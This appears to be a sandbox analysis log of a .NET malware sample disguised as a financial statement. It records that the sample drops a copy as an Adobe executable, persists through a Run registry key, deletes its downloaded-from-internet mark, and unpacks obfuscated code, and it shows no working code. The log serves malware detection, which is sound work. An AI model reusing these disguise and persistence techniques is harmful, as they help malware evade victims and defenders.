Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Statement of Account - USD 16,720.00.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Statement of Account - USD 16,720.00.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: Statement of Account - USD 16,720.00.exe, RandomClothingAttributesf.cs	.Net Code: Polan System.AppDomain.Load(byte[])
Source: adobe.exe.1.dr, RandomClothingAttributesf.cs	.Net Code: Polan System.AppDomain.Load(byte[])

Source: Statement of Account - USD 16,720.00.exe

Static PE information: 0x9FFD5834 [Thu Jan 21 21:42:12 2055 UTC]

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_00F00600 push edx; retf 0000h	1_2_00F0061A
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_00F00C55 push edi; retf	1_2_00F00C7A
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_06752345 push edi; ret	1_2_06752346
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067BFBD1 push eax; ret	1_2_067BFBDD
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_01250C55 push edi; retf	6_2_01250C7A
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_0125EED0 pushad ; ret	6_2_0125EED1
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06B2866D push esp; iretd	6_2_06B28675
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06B28068 push esp; iretd	6_2_06B28071
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06B2767F push es; ret	6_2_06B27680
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06B2B7A0 push es; ret	6_2_06B2B7B0
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 8_2_04F70CF8 push 2804E9CFh; iretd	8_2_04F70CFD
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_00E0EED0 pushad ; ret	9_2_00E0EED1
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_0684866D push esp; iretd	9_2_06848675
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06848068 push esp; iretd	9_2_06848071
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_0684B7A0 push es; ret	9_2_0684B7B0

Source: Statement of Account - USD 16,720.00.exe	Static PE information: section name: .text entropy: 7.494181501767098
Source: adobe.exe.1.dr	Static PE information: section name: .text entropy: 7.494181501767098

Source: 0.2.Statement of Account - USD 16,720.00.exe.5c50000.3.raw.unpack, Form1.cs	High entropy of concatenated method names: 'oxycobaltammine', 'fringier', 'unchorded', 'wAhRr7CKv', 'Dispose', 'lVOGV1721', 'ULHqFVpPeqZbNsBNpV', 'TchE2TMnA4CKf52ZUf', 'f0mq9hQrUpsqOwSyGd', 'nTd0Zl0tx6BYOWEqZW'
Source: 0.2.Statement of Account - USD 16,720.00.exe.5c50000.3.raw.unpack, QJDLGErGwGLnDsDTGnUfx.cs	High entropy of concatenated method names: 'pwiMsJJwOLAUrsrsiLrJk', 'vkJkyBAyMrJJZpZnJUUsB', 'pBDTEixOwwhDhOiywipLh', 'wZnEyxixGJZZTGvwQsrMDAvGiTwBJLT', 'erhT', 'aerhTteS46w', 'LvfQyBLvviAnvZJBUkfipTGCDTvQDxU', 'F6WFViyxW', 'TE3wDwuNS', 'MyGetProcAddressWrapper'
Source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, Form1.cs	High entropy of concatenated method names: 'oxycobaltammine', 'fringier', 'unchorded', 'wAhRr7CKv', 'Dispose', 'lVOGV1721', 'ULHqFVpPeqZbNsBNpV', 'TchE2TMnA4CKf52ZUf', 'f0mq9hQrUpsqOwSyGd', 'nTd0Zl0tx6BYOWEqZW'
Source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, QJDLGErGwGLnDsDTGnUfx.cs	High entropy of concatenated method names: 'pwiMsJJwOLAUrsrsiLrJk', 'vkJkyBAyMrJJZpZnJUUsB', 'pBDTEixOwwhDhOiywipLh', 'wZnEyxixGJZZTGvwQsrMDAvGiTwBJLT', 'erhT', 'aerhTteS46w', 'LvfQyBLvviAnvZJBUkfipTGCDTvQDxU', 'F6WFViyxW', 'TE3wDwuNS', 'MyGetProcAddressWrapper'
Source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, Form1.cs	High entropy of concatenated method names: 'oxycobaltammine', 'fringier', 'unchorded', 'wAhRr7CKv', 'Dispose', 'lVOGV1721', 'ULHqFVpPeqZbNsBNpV', 'TchE2TMnA4CKf52ZUf', 'f0mq9hQrUpsqOwSyGd', 'nTd0Zl0tx6BYOWEqZW'
Source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, QJDLGErGwGLnDsDTGnUfx.cs	High entropy of concatenated method names: 'pwiMsJJwOLAUrsrsiLrJk', 'vkJkyBAyMrJJZpZnJUUsB', 'pBDTEixOwwhDhOiywipLh', 'wZnEyxixGJZZTGvwQsrMDAvGiTwBJLT', 'erhT', 'aerhTteS46w', 'LvfQyBLvviAnvZJBUkfipTGCDTvQDxU', 'F6WFViyxW', 'TE3wDwuNS', 'MyGetProcAddressWrapper'

Persistence and Installation Behavior

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

File written: C:\Users\user\AppData\Roaming\Adobe\adobe.exe

Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	File created: \statement of account - usd 16,720.00.exe
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	File created: \statement of account - usd 16,720.00.exe			Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

File created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run adobe			Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run adobe			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

File opened: C:\Users\user\AppData\Roaming\adobe\adobe.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
